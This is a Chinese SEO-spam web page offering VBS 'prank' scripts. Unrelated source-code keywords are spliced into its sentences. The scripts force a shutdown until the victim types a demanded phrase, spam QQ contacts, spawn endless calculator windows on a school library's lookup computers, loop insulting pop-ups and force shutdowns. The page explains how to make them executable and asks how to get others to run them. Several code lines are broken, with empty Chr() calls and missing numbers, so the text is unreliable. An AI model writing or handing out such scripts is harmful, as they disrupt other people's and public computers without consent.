【赣州市寻乌县有阿姆源码】【iapp小说软件源码】【英语源码查询】整人关机源码_整人关机代码

时间:2024-11-15 06:03:16 分类:暴涨指标源码免费 来源:商业app源码

1.一个文件叫你说这段话,整人整人你不说就自动关机,怎么制作
2.10秒钟整人关机
3.vbs整人代码_手机vbs整人代码_如何让别人执行vbs代码

整人关机源码_整人关机代码

一个文件叫你说这段话,你不说就自动关机,怎么制作

       看来你是在等我给你一份代码吧

       下面是我给出的:

       On Error Resume Next

       Dim WSHshellA

       Set WSHshellA = wscript.CreateObject("wscript.shell")

       WSHshellA.run "cmd.exe /c shutdown -r -t -c ""编个VBE程序让你整人"" ", 0, True

       Dim neo

       Do While (neo <> "大哥")

       neo = InputBox("在这里可以输入提示语句,比如不叫大哥就关机之类的关机关机", "叫不叫", "不叫", , )

       MsgBox Chr() + Chr() + neo, 0, "MsgBox"

       Loop

       MsgBox Chr() + Chr() + "第二个提示信息,比如:早就叫你说了"

       Dim WSHshell

       Set WSHshell = wscript.CreateObject("wscript.shell")

       WSHshell.run "cmd.exe /c shutdown -a",源码 0, True

       MsgBox Chr() + Chr() + "第三次提示信息,比如:大哥很帅是代码不是?", vbOKOnly

       MsgBox "斑驳敬上"

       复制粘贴到记事本或者其他文字编辑工具上面,选择另存为,整人整人随便写个名字之后需要切换到英文状态输入小数点和vbe,关机关机赣州市寻乌县有阿姆源码使得这个文件拥有可执行的源码属性,然后鼠标双击运行即可了

       如果这样子还是代码一个文本文档的话说明系统默认不显示后缀名,在我的整人整人电脑上的菜单栏上选择工具 ->文件夹选项->查看选项卡->显示后缀名 如果是Windows 7用户在 计算机 窗口中按下 Alt键会显示出菜单栏,其他同上操作即可显示后缀名了。关机关机 之后只需要将txt或者是源码doc替换成vbe即可

秒钟整人关机

       更改数据即可,秒整人关机原理,代码用文本文档打开,整人整人把cmd。关机关机exe/cshutdown-r-t-c改成cmd。源码exe/cshutdown-r-t-c就可以了,-t后面的数字就是时间,单位:秒。

       事实上,iapp小说软件源码想取消关机并不需要输入“我是猪”只要用cmd输入shutdown-a就可以了,或者直接做成一个文件,运行一下就取消了。

命令介绍:

       1、shutdown,exe-a:取消关机。

       2、shutdown,exe-s:关机。英语源码查询

       3、shutdown,exe-f:强行关闭应用程序。

       4、shutdown,exe-m\计算机名:控制远程计算机。

       5、shutdown,exe-i:显示图形用户界面。jmeter的idea源码

       6、Shutdown:第一个参数。

       7、shutdown,exe-l:注销当前用户。

       8、shutdown-r:关机并重启。

       9、shutdown,lua令牌桶源码exe-s-t(时间):设置关机倒计时。

       、ALT+F4关机:会弹出“关机”对话框,直接点击确定即可关闭电脑。

vbs整人代码_手机vbs整人代码_如何让别人执行vbs代码

       本文主要介绍如何利用VBS(Visual Basic Script)编写代码来实现整人操作,包括影响对方电脑操作、发送骚扰信息、查询书刊机器干扰、直接关机等功能。以下是具体的VBS代码实例与使用方法,让你在不影响他人使用电脑的前提下,实现趣味性操作。

       一、自动向QQ好友发送特定信息。

       创建名为“xx.vbs”的VBS文件,然后替换其中的“xx”为好友昵称,修改发送次数与间隔时间,即可自动向该好友发送信息。示例代码如下:

       复制代码 代码如下:

       On Error Resume Next

       Dim wsh,ye

       set wsh=createobject("wscript.shell")

       for i=1 to

       wscript.sleep

       wsh.AppActivate("与 xx 聊天中")

       wsh.sendKeys "^v"

       wsh.sendKeys i

       wsh.sendKeys "%s"

       next

       wscript.quit

       二、在学校图书馆的电脑上进行干扰。

       将代码放置在查询书刊的电脑上,让其自动打开多个计算器窗口,造成干扰。示例代码如下:

       复制代码 代码如下:

       set wsh=createobject("wscript.shell")

       do

       wsh.run "calc"

       loop

       三、发出连续的侮辱性弹窗。

       创建弹窗提示“你真愚蠢”,让对方持续收到此消息。示例代码如下:

       复制代码 代码如下:

       do

       msgbox "You are foolish!"

       loop

       四、实现自动关机。

       编写代码直接关闭电脑,但请注意使用此功能需谨慎,以避免不必要的麻烦。示例代码如下:

       复制代码 代码如下:

       dim WSHshell

       set WSHshell = wscript.createobject("wscript.shell")

       WSHshell.run "shutdown -f -s -t ",0 ,true

       以上代码提供了多种整人操作的VBS示例,操作时请确保在合法范围内使用,尊重他人并避免造成不必要的困扰。